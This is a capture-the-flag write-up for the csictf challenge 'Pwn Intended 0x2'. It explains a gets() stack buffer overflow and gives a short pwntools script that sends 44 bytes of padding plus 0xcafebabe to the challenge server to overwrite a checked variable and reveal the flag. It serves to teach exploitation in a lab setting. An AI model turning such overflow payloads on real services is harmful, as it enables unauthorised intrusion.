> For the complete documentation index, see [llms.txt](https://crypt0nite.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://crypt0nite.gitbook.io/writeups/ctfs/csictf/pwn/pwn-intended-0x2.md).

# Pwn Intended 0x2

Travelling through spacetime!

## Analysis

Sadly, we can't just smash the keyboard. Let's check what protections are enabled.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInPGduvJlDwhLgf6GP%2Fimage.png?alt=media\&token=3b3d42f4-6af4-4ea4-b14a-a08c26a95523)

NX is enabled, so unfortunately no shellcode, but no other protections. Let's perhaps decompile it in GHidra.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInPJHgzg1F11g-nPs-%2Fimage.png?alt=media\&token=50f42c6c-b246-40f9-b678-3856fa70fdcc)

 So we have a 44-byte-long buffer storing our input, which is read by `gets()` - a clear buffer overflow vulnerability. Interestingly, the program seems to also return the flag if the if condition is met. I've known GHidra to make mistakes with numbers, so I check the disassembly in radare2.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInPU6LOzP7ZNCErAX9%2Fimage.png?alt=media\&token=0b6cefa3-5565-4741-87f8-53411392691a)

## Exploitation

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInPcarWRcoHwu6WPtj%2Fimage.png?alt=media\&token=63255686-fedd-4bc4-87c4-55b5a1c3c22d)

 As we can see, the buffer our input is stored in is lower down the stack to the variable that is compared, so if we overflow the buffer we will overflow *into the other variable*. From the decompilation we know the buffer is 44 bytes long, so we need 44 bytes of padding before we reach the checked variable and write `0xcafebabe`.

```python
from pwn import *

p = remote('chall.csivit.com', 30007)

payload = b'A' * 44
payload += p32(0xcafebabe)

p.sendline(payload)

print(p.clean().decode())
```

Flag: `csictf{c4n_y0u_re4lly_telep0rt?}`